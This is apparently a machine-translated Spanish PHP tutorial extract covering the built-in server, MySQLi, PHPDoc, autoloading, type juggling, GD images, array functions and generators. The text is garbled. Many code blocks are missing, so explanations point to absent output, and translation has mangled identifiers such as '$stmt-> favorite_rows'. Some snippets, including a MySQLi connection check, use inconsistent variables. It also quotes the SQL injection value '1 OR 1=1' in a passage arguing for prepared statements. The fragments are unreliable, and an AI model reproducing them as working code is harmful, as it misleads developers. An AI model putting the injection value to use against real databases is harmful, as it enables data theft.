Capítulo 71: PHP incorporado en el servidor
Introducción
Aprenda a usar el servidor incorporado para desarrollar y probar su aplicación sin la necesidad de
otras herramientas como xamp, wamp, etc.
Parámetros
Columna Columna
-t Directorio publico
Observaciones
Un ejemplo de script de enrutador es:
<?php
// router.php
if (preg_match('/\.(?:png|jpg|jpeg|gif)$/', $_SERVER["REQUEST_URI"])) {
return false; // serve the requested resource as-is.
} //the rest of you code goes here.
Examples
Ejecutando el servidor incorporado
php -S localhost:80
Esta es la forma más sencilla de iniciar un servidor PHP que responde a la solicitud realizada a
localhost en el puerto 80.
https://riptutorial.com/es/home 378
El localhost: 80 indica el host que estamos respondiendo y el puerto. Puedes usar otras
combinaciones como:
https://riptutorial.com/es/home 379
Capítulo 72: PHP MySQLi
Introducción
La interfaz mysqli es una mejora (significa "extensión de mejora de MySQL") de la interfaz mysql ,
que quedó en desuso en la versión 5.5 y se eliminó en la versión 7.0. La extensión mysqli, o como
se conoce a veces, la extensión mejorada de MySQL, fue desarrollada para aprovechar las
nuevas características que se encuentran en las versiones 4.1.3 y posteriores de los sistemas
MySQL. La extensión mysqli se incluye con las versiones 5 y posteriores de PHP.
Observaciones
Caracteristicas
La interfaz mysqli tiene una serie de beneficios, las mejoras clave en la extensión mysql son:
Cuenta con una interfaz dual : el más antiguo, el estilo de procedimiento y un nuevo estilo de
programación orientada a objetos (OOP) . El mysql desuso tenía solo una interfaz de
procedimiento, por lo que el estilo orientado a objetos es a menudo preferido. Sin embargo, el
nuevo estilo también es favorable debido al poder de la POO.
Alternativas
Una alternativa a la interfaz mysqli para acceder a las bases de datos es la nueva interfaz de
objetos de datos PHP (PDO) . Esto incluye solo programación estilo OOP y puede acceder a más
que solo bases de datos tipo MySQL.
Examples
MySQLi Connect
Conectar al servidor
https://riptutorial.com/es/home 380
$conn = new mysqli("localhost","my_user","my_password");
Estilo procesal
Conectar al servidor
$conn = mysqli_connect("localhost","my_user","my_password");
$conn = mysqli_connect("localhost","my_user","my_password","my_db");
if ($conn->connect_errno > 0) {
trigger_error($db->connect_error);
} // else: successfully connected
Estilo procesal
if (!$conn) {
trigger_error(mysqli_connect_error());
} // else: successfully connected
Consulta de MySQLi
La función de query toma una cadena SQL válida y la ejecuta directamente en la conexión de
base de datos $conn
Estilo procesal
PRECAUCIÓN
https://riptutorial.com/es/home 381
Un problema común aquí es que las personas simplemente ejecutarán la consulta y esperarán
que funcione (es decir, devolver un objeto mysqli_stmt ). Dado que esta función solo toma una
cadena, primero se crea la consulta usted mismo. Si hay algún error en el SQL, el compilador de
MySQL fallará, momento en el que esta función devolverá el valor false .
El error de procedimiento es similar, pero no fatal, porque solo estamos violando las expectativas
de la función.
PHP hace que sea fácil obtener datos de sus resultados y recorrerlos usando una instrucción
while . Cuando no puede obtener la siguiente fila, devuelve false y su bucle termina. Estos
ejemplos trabajan con
while($row = $result->fetch_assoc()) {
var_dump($row);
}
Estilo procesal
while($row = mysqli_fetch_assoc($result)) {
var_dump($row);
}
https://riptutorial.com/es/home 382
Para obtener información exacta de los resultados, podemos utilizar:
Conexión cercana
Cuando hayamos terminado de consultar la base de datos, se recomienda cerrar la conexión para
liberar recursos.
$conn->close();
Estilo procesal
mysqli_close($conn);
Nota : La conexión con el servidor se cerrará tan pronto como finalice la ejecución del script, a
menos que se cierre antes llamando explícitamente a la función de cerrar conexión.
Caso de uso: si nuestro script tiene una buena cantidad de procesamiento para realizar después
de obtener el resultado y ha recuperado el conjunto de resultados completo, definitivamente
debemos cerrar la conexión. Si no lo hiciéramos, existe la posibilidad de que el servidor MySQL
alcance su límite de conexión cuando el servidor web tenga un uso intensivo.
Lea la sección Prevención de la inyección de SQL con consultas parametrizadas para ver una
explicación completa de por qué las declaraciones preparadas lo ayudan a proteger sus
declaraciones de SQL de los ataques de inyección de SQL.
La variable $conn aquí es un objeto MySQLi. Vea el ejemplo de conexión de MySQLi para más
detalles.
El ? Representa los valores que proporcionaremos más adelante. Tenga en cuenta que no
necesitamos cotizaciones para los marcadores de posición, independientemente del tipo.
También podemos proporcionar solo marcadores de posición en las partes de datos de la
consulta, es decir, SET , VALUES y WHERE . No puede utilizar marcadores de posición en las partes
SELECT o FROM .
https://riptutorial.com/es/home 383
Estilo orientado a objetos
if ($stmt = $conn->prepare($sql)) {
$stmt->bind_param("si", $column_2_value, $column_3_value);
$stmt->execute();
$stmt->bind_result($column_1);
$stmt->fetch();
//Now use variable $column_1 one as if it were any other PHP variable
$stmt->close();
}
Estilo procesal
i entero
d doble
s cuerda
b gota
Para recuperar datos, consulte Cómo obtener datos de una declaración preparada
Cuerdas de escape
Escapar de cadenas es un método más antiguo ( y menos seguro ) de asegurar los datos para
insertarlos en una consulta. Funciona utilizando la función mysql_real_escape_string () de MySQL
para procesar y sanear los datos (en otras palabras, PHP no está escapando). La API de MySQLi
proporciona acceso directo a esta función
$escaped = $conn->real_escape_string($_GET['var']);
// OR
$escaped = mysqli_real_escape_string($conn, $_GET['var']);
https://riptutorial.com/es/home 384
En este punto, tiene una cadena que MySQL considera segura para usar en una consulta directa
Entonces, ¿por qué esto no es tan seguro como las declaraciones preparadas ? Hay formas de
engañar a MySQL para que produzca una cadena que considere segura. Considere el siguiente
ejemplo
1 OR 1=1no representa datos de los que MySQL se escapará, sin embargo, esto todavía
representa la inyección de SQL. También hay otros ejemplos que representan lugares en los que
devuelve datos no seguros. El problema es que la función de escape de MySQL está diseñada
para hacer que los datos cumplan con la sintaxis SQL . NO está diseñado para garantizar que
MySQL no pueda confundir los datos del usuario con las instrucciones SQL .
MySQLi Insertar ID
Recupere el último ID generado por una consulta INSERT en una tabla con una columna
AUTO_INCREMENT .
$id = $conn->insert_id;
Estilo procesal
$id = mysqli_insert_id($conn);
https://riptutorial.com/es/home 385
INSERT INTO iodku (name, misc)
VALUES
('Leslie', 123),
('Sally', 456);
Query OK, 2 rows affected (0.00 sec)
Records: 2 Duplicates: 0 Warnings: 0
+----+--------+------+
| id | name | misc |
+----+--------+------+
| 1 | Leslie | 123 |
| 2 | Sally | 456 |
+----+--------+------+
Entonces su consulta ha fallado (vea MySQLi connect para ver cómo hicimos $conn )
¿Cómo averiguamos lo que pasó? $result es false así que no sirve de nada. Afortunadamente,
https://riptutorial.com/es/home 386
connect $conn puede decirnos lo que MySQL nos dijo sobre el error.
trigger_error($conn->error);
o procesal
trigger_error(mysqli_error($conn));
Declaraciones preparadas
Vea las declaraciones preparadas en MySQLi para saber cómo preparar y ejecutar una consulta.
Vinculación de resultados
Estilo orientado a objetos
$stmt->bind_result($forename);
Estilo procesal
mysqli_stmt_bind_result($stmt, $forename);
El problema con el uso de bind_result es que requiere que la declaración especifique las
columnas que se usarán. Esto significa que para que la consulta anterior funcione, la consulta
debe tener este aspecto SELECT forename FROM users . Para incluir más columnas, simplemente
agréguelos como parámetros a la función bind_result (y asegúrese de agregarlos a la consulta
SQL).
En ambos casos, estamos asignando la columna forename a la variable $forename . Estas funciones
toman tantos argumentos como columnas que desea asignar. La asignación solo se realiza una
vez, ya que la función se enlaza por referencia.
while ($stmt->fetch())
echo "$forename<br />";
https://riptutorial.com/es/home 387
Estilo procesal
while (mysqli_stmt_fetch($stmt))
echo "$forename<br />";
El inconveniente de esto es que tiene que asignar muchas variables a la vez. Esto hace que el
seguimiento de grandes consultas sea difícil. Si tiene instalado MySQL Native Driver ( mysqlnd ) ,
todo lo que necesita hacer es usar get_result .
$result = $stmt->get_result();
Estilo procesal
$result = mysqli_stmt_get_result($stmt);
Es mucho más fácil trabajar con esto porque ahora obtenemos un objeto mysqli_result . Este es
el mismo objeto que devuelve mysqli_query . Esto significa que puede usar un ciclo de resultados
regular para obtener sus datos.
Esta función puede realizar la tarea de get_result sin que esté instalada en el servidor.
Simplemente recorre los resultados y crea una matriz asociativa
Luego podemos usar la función para obtener resultados como este, como si estuviéramos usando
mysqli_fetch_assoc()
https://riptutorial.com/es/home 388
<?php
$query = $mysqli->prepare("SELECT * FROM users WHERE forename LIKE ?");
$condition = "J%";
$query->bind_param("s", $condition);
$query->execute();
$result = get_result($query);
Tendrá la misma salida que si estuviera usando el controlador mysqlnd , excepto que no tiene que
estar instalado. Esto es muy útil si no puede instalar dicho controlador en su sistema. Solo
implementa esta solución.
https://riptutorial.com/es/home 389
Capítulo 73: php mysqli filas afectadas
devuelve 0 cuando debería devolver un
entero positivo
Introducción
Este script está diseñado para manejar dispositivos de informes (IoT), cuando un dispositivo no
está autorizado previamente (en la tabla de dispositivos de la base de datos), agrego el nuevo
dispositivo a una tabla de nuevos dispositivos. Ejecuto una consulta de actualización, y si resulto
en las flechas devuelve <1, inserto.
Cuando tengo un nuevo informe de dispositivo, la primera vez que $ stmt-> favorite_rows se
ejecuta devuelve 0, la comunicación posterior devuelve 1, luego 1, 0, 2, 2, 2, 0, 3, 3, 3, 3, 3, 3 , 0,
4, 0, 0, 6, 6, 6, etc.
Examples
PHP $ stmt- >fecteado_rows devolviendo intermitentemente 0 cuando debería
devolver un entero positivo
<?php
// if device exists, update timestamp
$stmt = $mysqli->prepare("UPDATE new_devices SET nd_timestamp=? WHERE nd_deviceid=?");
$stmt->bind_param('ss', $now, $device);
$stmt->execute();
//echo "Affected Rows: ".$stmt->affected_rows; // This line is where I am checking the
status of the update query.
Lea php mysqli filas afectadas devuelve 0 cuando debería devolver un entero positivo en línea:
https://riptutorial.com/es/php/topic/10705/php-mysqli-filas-afectadas-devuelve-0-cuando-deberia-
devolver-un-entero-positivo
https://riptutorial.com/es/home 390
Capítulo 74: PHPDoc
Sintaxis
• @api
• @autor [nombre] [<dirección de correo electrónico>]
• @ copyright <descripción>
• @deprecated [<"Versión semántica">] [: <"Versión semántica">] [<descripción>]
• @ejemplo [URI] [<descripción>]
• {@example [URI] [: <start> .. <end>]}
• @inheritDoc
• @interno
• {@internal [descripción]}}
• @license [<identificador SPDX> | URI] [nombre]
• @ método [retorno "Tipo"] [nombre] (["Tipo"] [parámetro], [...]) [descripción]
• @paquete [nivel 1] \ [nivel 2] \ [etc.]
• @param ["Tipo"] [nombre] [<descripción>]
• @ propiedad ["Tipo"] [nombre] [<descripción>]
• @return <"Type"> [descripción]
• @see [URI | "FQSEN"] [<descripción>]
• @since [<"Versión semántica">] [<descripción>]
• @throws ["Tipo"] [<descripción>]
• @todo [descripción]
• @uses [archivo | "FQSEN"] [<descripción>]
• @var ["Type"] [element_name] [<description>]
• @version ["Versión semántica"] [<descripción>]
• @filesource - Incluye el archivo actual en los resultados del análisis phpDocumentor
• @link [URI] [<description>] - La etiqueta de enlace ayuda a definir la relación o enlace entre
elementos estructurales .
Observaciones
"PHPDoc" es una sección de la documentación que proporciona información sobre
aspectos de un "Elemento estructural" - PSR-5
Las anotaciones de PHPDoc son comentarios que proporcionan metadatos sobre todos los tipos
de estructuras en PHP. Muchos IDE populares están configurados de forma predeterminada para
utilizar las anotaciones de PHPDoc para proporcionar información sobre el código e identificar
posibles problemas antes de que surjan.
Si bien las anotaciones de PHPDoc no forman parte del núcleo de PHP, actualmente tienen el
estado de borrador con PHP-FIG como PSR-5 .
Todas las anotaciones de PHPDoc están contenidas en DocBlocks que se demuestran mediante
una multilínea con dos asteriscos:
https://riptutorial.com/es/home 391
/**
*
*/
Examples
Añadiendo metadatos a las funciones.
Las anotaciones de nivel de función ayudan a los IDE a identificar valores de retorno o códigos
potencialmente peligrosos
/**
* Adds two numbers together.
*
* @param Int $a First parameter to add
* @param Int $b Second parameter to add
* @return Int
*/
function sum($a, $b)
{
return (int) $a + $b;
}
/**
* Don't run me! I will always raise an exception.
*
* @throws Exception Always
*/
function dangerousCode()
{
throw new Exception('Ouch, that was dangerous!');
}
/**
* Old structures should be deprecated so people know not to use them.
*
* @deprecated
*/
function oldCode()
{
mysql_connect(/* ... */);
}
Los metadatos de nivel de archivo se aplican a todo el código dentro del archivo y se deben
colocar en la parte superior del archivo:
<?php
/**
* @author John Doe ([email protected])
* @copyright MIT
https://riptutorial.com/es/home 392
*/
Si una clase extiende otra clase y usaría los mismos metadatos, proporcionarla @inheritDoc es
una forma sencilla de usar la misma documentación. Si se heredan varias clases de una base,
solo será necesario cambiar la base para que los niños se vean afectados.
La palabra clave @var se puede usar para describir el tipo y uso de:
class Example {
/** @var string This is something that stays the same */
const UNCHANGING = "Untouchable";
/**
* @var array $stuff This is a collection of stuff
* @var array $nonsense These are nonsense
*/
private $stuff, $nonsense;
...
}
El tipo puede ser uno de los tipos PHP integrados o una clase definida por el usuario, incluidos los
https://riptutorial.com/es/home 393
espacios de nombres.
El nombre de la variable debe incluirse, pero puede omitirse si el bloque de documentos se aplica
a un solo elemento.
Describiendo parámetros
/**
* Parameters
*
* @param int $int
* @param string $string
* @param array $array
* @param bool $bool
*/
function demo_param($int, $string, $array, $bool)
{
}
/**
* Parameters - Optional / Defaults
*
* @param int $int
* @param string $string
* @param array $array
* @param bool $bool
*/
function demo_param_optional($int = 5, $string = 'foo', $array = [], $bool = false)
{
}
/**
* Parameters - Arrays
*
* @param array $mixed
* @param int[] $integers
* @param string[] $strings
* @param bool[] $bools
* @param string[]|int[] $strings_or_integers
*/
function demo_param_arrays($mixed,$integers, $strings, $bools, $strings_or_integers)
{
}
/**
* Parameters - Complex
* @param array $config
* <pre>
* $params = [
* 'hostname' => (string) DB hostname. Required.
* 'database' => (string) DB name. Required.
* 'username' => (string) DB username. Required.
* ]
* </pre>
*/
function demo_param_complex($config)
{
}
https://riptutorial.com/es/home 394
Colecciones
Sintaxis de genéricos
Type[]
Type<Type>
Type<Type[, Type]...>
Type<Type[|Type]...>
Los valores en una Colección PUEDEN ser incluso otra matriz e incluso otra Colección.
Type<Type<Type>>
Type<Type<Type[, Type]...>>
Type<Type<Type[|Type]...>>
Ejemplos
<?php
/**
* @var ArrayObject<string> $name
*/
$name = new ArrayObject(['a', 'b']);
/**
* @var ArrayObject<int> $name
*/
$name = new ArrayObject([1, 2]);
/**
* @var ArrayObject<stdClass> $name
*/
$name = new ArrayObject([
new stdClass(),
new stdClass()
]);
/**
* @var ArrayObject<string|int|stdClass|bool> $name
*/
$name = new ArrayObject([
'a',
true,
1,
'b',
new stdClass(),
'c',
2
]);
/**
https://riptutorial.com/es/home 395
* @var ArrayObject<ArrayObject<int>> $name
*/
$name = new ArrayObject([
new ArrayObject([1, 2]),
new ArrayObject([1, 2])
]);
/**
* @var ArrayObject<int, string> $name
*/
$name = new ArrayObject([
1 => 'a',
2 => 'b'
]);
/**
* @var ArrayObject<string, int> $name
*/
$name = new ArrayObject([
'a' => 1,
'b' => 2
]);
/**
* @var ArrayObject<string, stdClass> $name
*/
$name = new ArrayObject([
'a' => new stdClass(),
'b' => new stdClass()
]);
https://riptutorial.com/es/home 396
Capítulo 75: Primer de carga automática
Sintaxis
• exigir
• spl_autoload_require
Observaciones
La carga automática, como parte de una estrategia de marco, facilita la cantidad de código
repetitivo que tiene que escribir.
Examples
Definición de clase en línea, no requiere carga
// zoo.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}
PHP sabe qué es Animal antes de ejecutar el new Animal , porque PHP lee los archivos de origen
de arriba a abajo. Pero, ¿y si quisiéramos crear nuevos animales en muchos lugares, no solo en
el archivo de origen donde está definido? Para hacer eso, necesitamos cargar la definición de la
clase.
// Animal.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}
// zoo.php
require 'Animal.php';
$animal = new Animal;
$animal->eats('slop');
// aquarium.php
require 'Animal.php';
$animal = new Animal;
$animal->eats('shrimp');
https://riptutorial.com/es/home 397
Aquí tenemos tres archivos. Un archivo ("Animal.php") define la clase. Este archivo no tiene
efectos secundarios además de definir la clase y mantiene perfectamente todo el conocimiento
sobre un "Animal" en un solo lugar. Es fácilmente versión controlada. Es fácilmente reutilizable.
Ahora imagine que tuvimos docenas o cientos de casos en los que queríamos realizar un new
Animal . Eso requeriría (destinado a los juegos de palabras) muchos, muchos require
declaraciones que son muy tediosas para codificar.
// autoload.php
spl_autoload_register(function ($class) {
require_once "$class.php";
});
// Animal.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}
// zoo.php
require 'autoload.php';
$animal = new Animal;
$animal->eats('slop');
// aquarium.php
require 'autoload.php';
$animal = new Animal;
$animal->eats('shrimp');
Compara esto con los otros ejemplos. Observe cómo se reemplazó require "Animal.php" con
require "autoload.php" . Todavía estamos incluyendo un archivo externo en tiempo de ejecución,
pero en lugar de incluir una definición de clase específica , incluimos una lógica que puede incluir
cualquier clase. Es un nivel de direccionamiento que facilita nuestro desarrollo. En lugar de
escribir un require para cada clase que necesitamos, escribimos un require para todas las clases.
Podemos reemplazar N require con 1 require .
La magia sucede con spl_autoload_register . Esta función de PHP se cierra y agrega el cierre a
una cola de cierres. Cuando PHP encuentra una clase para la que no tiene definición, PHP
entrega el nombre de la clase a cada cierre en la cola. Si la clase existe después de llamar a un
cierre, PHP vuelve a su negocio anterior. Si la clase no existe después de probar toda la cola,
PHP se bloquea con "No se encontró la clase 'Lo que sea'".
https://riptutorial.com/es/home 398
// autoload.php
spl_autoload_register(function ($class) {
require_once "$class.php";
});
// Animal.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}
// Ruminant.php
class Ruminant extends Animal {
public function eats($food) {
if ('grass' === $food) {
parent::eats($food);
} else {
echo "Yuck, $food!";
}
}
}
// Cow.php
class Cow extends Ruminant {
}
// pasture.php
require 'autoload.php';
$animal = new Cow;
$animal->eats('grass');
Gracias a nuestro cargador automático genérico, tenemos acceso a cualquier clase que siga
nuestra convención de nomenclatura del cargador automático. En este ejemplo, nuestra
convención es simple: la clase deseada debe tener un archivo en el mismo directorio nombrado
para la clase y que termina en ".php". Observe que el nombre de la clase coincide exactamente
con el nombre del archivo.
Sin carga automática, tendríamos que require manualmente las clases base. Si construyéramos
un zoológico completo de animales, tendríamos miles de declaraciones de requisitos que podrían
reemplazarse más fácilmente con un solo cargador automático.
En el análisis final, la carga automática de PHP es un mecanismo que lo ayuda a escribir menos
código mecánico para que pueda concentrarse en resolver problemas de negocios. Todo lo que
tiene que hacer es definir una estrategia que asigne el nombre de la clase al nombre del archivo .
Puede rodar su propia estrategia de carga automática, como se hace aquí. O bien, puede utilizar
cualquiera de los estándares que la comunidad de PHP ha adoptado: PSR-0 o PSR-4 . O bien,
puede utilizar compositor para definir y administrar genéricamente estas dependencias.
Simplemente puede incluir este archivo y obtendrá la carga automática de forma gratuita.
https://riptutorial.com/es/home 399
require __DIR__ . '/vendor/autoload.php';
Esto hace que trabajar con dependencias de terceros sea muy fácil.
También puede agregar su propio código al autocargador agregando una sección de carga
automática a su composer.json .
{
"autoload": {
"psr-4": {"YourApplicationNamespace\\": "src/"}
}
}
En esta sección se definen las asignaciones de carga automática. En este ejemplo, se trata de
una asignación PSR-4 de un espacio de nombres a un directorio: el directorio /src reside en la
carpeta raíz de su proyecto, en el mismo nivel que el directorio /vendor . Un ejemplo de nombre de
archivo sería src/Foo.php contiene una clase YourApplicationNamespace\Foo .
Importante: después de agregar nuevas entradas a la sección de carga automática, debe volver
a ejecutar el comando dump-autoload para volver a generar y actualizar el archivo
vendor/autoload.php con la nueva información.
Además PSR-4 carga automática de PSR-4 , Composer también admite PSR-0 , classmap y carga
automática de files . Vea la referencia de carga automática para más información.
https://riptutorial.com/es/home 400
Capítulo 76: Problemas de malabarismo de
tipo y comparación no estricta
Examples
¿Qué es el tipo de malabarismo?
PHP es un lenguaje vagamente escrito. Esto significa que, de forma predeterminada, no requiere
que los operandos de una expresión sean del mismo tipo (o compatibles). Por ejemplo, puede
agregar un número a una cadena y esperar que funcione.
La salida será:
PHP logra esto al convertir automáticamente tipos de variables incompatibles en tipos que
permiten que se lleve a cabo la operación solicitada. En el caso anterior, convertirá el literal
entero 1 en una cadena, lo que significa que se puede concatenar en el literal de la cadena
anterior. Esto se conoce como tipo malabarismo. Esta es una característica muy poderosa de
PHP, pero también es una característica que puede llevarlo a un montón de tirones si no está al
tanto, e incluso puede llevar a problemas de seguridad.
Considera lo siguiente:
if (1 == $variable) {
// do something
}
La intención parece ser que el programador está comprobando que una variable tiene un valor de
1. ¿Pero qué sucede si $ variable tiene un valor de "1 y medio" en su lugar? La respuesta podría
sorprenderte.
El resultado es:
bool (verdadero)
¿Por qué ha sucedido esto? Es porque PHP se dio cuenta de que la cadena "1 y medio" no es un
número entero, pero debe ser para poder compararla con el número entero 1. En lugar de fallar,
PHP inicia el tipo de malabarismo e intenta convertir la variable en una entero. Para ello, toma
todos los caracteres al principio de la cadena que se pueden convertir en enteros y los emite. Se
https://riptutorial.com/es/home 401
detiene tan pronto como encuentra un personaje que no puede ser tratado como un número. Por
lo tanto, "1 y medio" se convierte en entero 1.
Por supuesto, este es un ejemplo muy artificial, pero sirve para demostrar el problema. Los
siguientes ejemplos cubrirán algunos casos en los que me he encontrado con errores causados
por los juegos de tipo que ocurrieron en software real.
Leyendo de un archivo
Al leer un archivo, queremos saber cuándo hemos llegado al final de ese archivo. Sabiendo que
fgets() devuelve falso al final del archivo, podríamos usar esto como la condición para un bucle.
Sin embargo, si los datos devueltos de la última lectura resultan ser algo que se evalúa como
booleano false , puede hacer que nuestro bucle de lectura de archivos termine prematuramente.
fclose ($handle);
Si el archivo que contiene leer una línea en blanco, el while de bucle se dará por terminado en
ese momento, debido a que la cadena vacía se evalúa como booleano false .
Tenga en cuenta que este es un ejemplo artificial; En la vida real usaríamos el siguiente bucle:
while (!feof($handle)) {
$data = fgets($handle);
echo ("Current file line is $data\n");
}
$filedata = file("/path/to/my/file");
foreach ($filedata as $data) {
echo ("Current file line is $data\n");
}
https://riptutorial.com/es/home 402
Cambiar sorpresas
Las declaraciones de cambio utilizan una comparación no estricta para determinar coincidencias.
Esto puede llevar a algunas sorpresas desagradables . Por ejemplo, considere la siguiente
declaración:
switch ($name) {
case 'input 1':
$mode = 'output_1';
break;
case 'input 2':
$mode = 'output_2';
break;
default:
$mode = 'unknown';
break;
}
Esta es una declaración muy simple, y funciona como se esperaba cuando $name es una cadena,
pero puede causar problemas de lo contrario. Por ejemplo, si $name es el entero 0 , entonces el
tipo de malabarismo ocurrirá durante la comparación. Sin embargo, es el valor literal en la
declaración de caso que se hace malabarismo, no la condición en la instrucción de cambio. La
cadena "input 1" se convierte a entero 0 que coincide con el valor de entrada de entero 0 . El
resultado de esto es que si proporciona un valor de entero 0 , el primer caso siempre se ejecuta.
Casting explícito
El valor se puede encasillar en una cadena antes de la comparación:
switch ((string)$name) {
...
}
O también se puede usar una función conocida para devolver una cadena:
switch (strval($name)) {
...
}
Ambos métodos aseguran que el valor sea del mismo tipo que el valor en las declaraciones de
case .
Evitar el switch
El uso de una declaración if nos permitirá controlar cómo se realiza la comparación, lo que nos
permitirá utilizar operadores de comparación estrictos :
https://riptutorial.com/es/home 403
if ($name === "input 1") {
$mode = "output_1";
} elseif ($name === "input 2") {
$mode = "output_2";
} else {
$mode = "unknown";
}
Tipificación estricta
Desde PHP 7.0, algunos de los efectos dañinos de los juegos malabares pueden mitigarse con
una escritura estricta . Al incluir esta declare declaración como la primera línea del archivo, PHP
aplicará las declaraciones de tipo de parámetro y devolverá las declaraciones de tipo lanzando
una excepción TypeError .
declare(strict_types=1);
Por ejemplo, este código, utilizando definiciones de tipo de parámetro, lanzará una excepción
detectable de tipo TypeError cuando se ejecute:
<?php
declare(strict_types=1);
Asimismo, este código utiliza una declaración de tipo de retorno; también lanzará una excepción
si intenta devolver algo que no sea un entero:
<?php
declare(strict_types=1);
returner("this is a string");
https://riptutorial.com/es/home 404
Capítulo 77: Procesamiento de imágenes con
GD
Observaciones
Cuando se usa el header("Content-Type: $mimeType"); e image____ para generar solo una imagen a
la salida, asegúrese de no mostrar nada más, observe incluso una línea en blanco después de ?>
. (Eso puede ser un 'error' difícil de rastrear: no se obtiene ninguna imagen ni idea de por qué). El
consejo general es no incluir?> En absoluto aquí.
Examples
Creando una imagen
$imgahora es una variable de recurso para un recurso de imagen con $width x $height píxeles.
Tenga en cuenta que el ancho cuenta de izquierda a derecha y el alto cuenta de arriba a abajo.
• imagecreatefrompng
• imagecreatefromjpeg
• Otras funciones de imagecreatefrom* .
Los recursos de imagen pueden liberarse más adelante cuando no haya más referencias a ellos.
Sin embargo, liberar la memoria inmediatamente (esto puede ser importante si está procesando
muchas imágenes grandes), usar imagedestroy() en una imagen cuando ya no se usa puede ser
una buena práctica.
imagedestroy($image);
https://riptutorial.com/es/home 405
imagedestroy($im);
}
Salida de imagen
Se puede crear una image* usando las funciones de image* , donde * es el formato de archivo.
Guardando en un archivo
Si desea guardar la imagen en un archivo, puede pasar el nombre del archivo, o una secuencia
de archivos abierta, como $to . Si pasa un flujo, no necesita cerrarlo, porque GD lo cerrará
automáticamente.
imagepng($image, "/path/to/target/file.png");
Cuando use fopen , asegúrese de usar la bandera b lugar de la bandera t , porque el archivo es
una salida binaria.
header("Content-Type: $mimeType");
$mimeType es el tipo MIME del formato que está devolviendo. Los ejemplos incluyen image/png ,
image/gif e image/jpeg .
https://riptutorial.com/es/home 406
Hay dos formas de escribir en una variable.
ob_start();
imagepng($image, null, $quality); // pass null to supposedly write to stdout
$binary = ob_get_clean();
Usando la función stream_wrapper_register , se puede registrar una nueva envoltura de flujo. Por lo
tanto, puede pasar una secuencia a la función de salida de imagen y recuperarla más tarde.
<?php
class GlobalStream{
private $var;
stream_wrapper_register("global", GlobalStream::class);
En este ejemplo, la clase GlobalStream escribe cualquier entrada en la variable de referencia (es
decir, escribe indirectamente en la variable global del nombre dado). La variable global se puede
recuperar más tarde directamente.
• Una clase de derivador de flujo totalmente implementada debería tener este aspecto, pero
de acuerdo con las pruebas realizadas con el método mágico __call , solo se llama a
stream_open , stream_write y stream_close desde funciones internas.
• No se requieren indicadores en la llamada fopen , pero al menos debe pasar una cadena
vacía. Esto se debe a que la función fopen espera ese parámetro, e incluso si no lo usa en
https://riptutorial.com/es/home 407
su implementación de stream_open , todavía se necesita uno falso.
• Según las pruebas, stream_write se llama varias veces. Recuerde usar .= (Asignación de
concatenación), no = (asignación de variable directa).
Ejemplo de uso
En la etiqueta HTML <img> , se puede proporcionar una imagen directamente en lugar de usar un
enlace externo:
Si tiene una imagen y desea crear una nueva, con nuevas dimensiones, puede usar la función
imagecopyresampled :
// new image
$dst_img = imagecreatetruecolor($width, $height);
y almacenar la imagen original en una variable. Para hacerlo, puede usar una de las funciones
createimagefrom* donde * significa:
• jpeg
• gif
• png
• cuerda
Por ejemplo:
//original image
$src_img=imagecreatefromstring(file_get_contents($original_image_path));
Ahora, copie toda (o parte de) la imagen original (src_img) en la nueva imagen (dst_img) por
imagecopyresampled :
imagecopyresampled($dst_img, $src_img,
$dst_x ,$dst_y, $src_x, $src_y,
$dst_width, $dst_height, $src_width, $src_height);
https://riptutorial.com/es/home 408
https://riptutorial.com/es/home 409
https://riptutorial.com/es/php/topic/5195/procesamiento-de-imagenes-con-gd
https://riptutorial.com/es/home 410
Capítulo 78: Procesando múltiples matrices
juntos
Examples
Fusionar o concatenar matrices
Tenga en cuenta que array_merge cambiará los índices numéricos, pero sobrescribirá los índices
de cadena
array_mergesobrescribe los valores de la primera matriz con los valores de la segunda matriz, si
no puede renumerar el índice.
Puede usar el operador + para combinar dos matrices de manera que los valores de la primera
matriz nunca se sobrescriban, pero no renumera los índices numéricos, por lo que pierde los
valores de las matrices que tienen un índice que también se usa en la primera matriz .
Intersección de matriz
La función array_intersect devolverá una matriz de valores que existe en todas las matrices que
se pasaron a esta función.
https://riptutorial.com/es/home 411
$array_two = ['two', 'three', 'four'];
$array_three = ['two', 'three'];
Se conservan las claves de matriz. Los índices de las matrices originales no lo son.
El siguiente ejemplo muestra cómo combinar dos matrices en una matriz asociativa, donde los
valores clave serán los elementos de la primera matriz, y los valores serán de la segunda:
/*
array (
'key1' => 'value1',
'key2' => 'value2',
'key3' => 'value3',
)
*/
[
['foo', 'bar'],
https://riptutorial.com/es/home 412
['fizz', 'buzz'],
]
[
'foo' => 'bar',
'fizz' => 'buzz',
]
$multidimensionalArray = [
['foo', 'bar'],
['fizz', 'buzz'],
];
$associativeArrayKeys = array_column($multidimensionalArray, 0);
$associativeArrayValues = array_column($multidimensionalArray, 1);
$associativeArray = array_combine($associativeArrayKeys, $associativeArrayValues);
https://riptutorial.com/es/home 413
Capítulo 79: Programación asíncrona
Examples
Ventajas de los generadores
PHP 5.5 introduce Generadores y la palabra clave de rendimiento, que nos permite escribir
código asíncrono que se parece más a un código síncrono.
function reverse_range($i) {
// the mere presence of the yield keyword in this function makes this a Generator
do {
// $i is retained between resumptions
print yield $i;
} while (--$i > 0);
}
$gen = reverse_range(5);
print $gen->current();
$gen->send("injected!"); // send also resumes the Generator
foreach ($gen as $val) { // loops over the Generator, resuming it upon each iteration
echo $val;
}
// Output: 5injected!4321
Este mecanismo puede ser utilizado por una implementación de rutina para esperar a los
Awaitables cedidos por el Generador (registrándose a sí mismo como una devolución de llamada
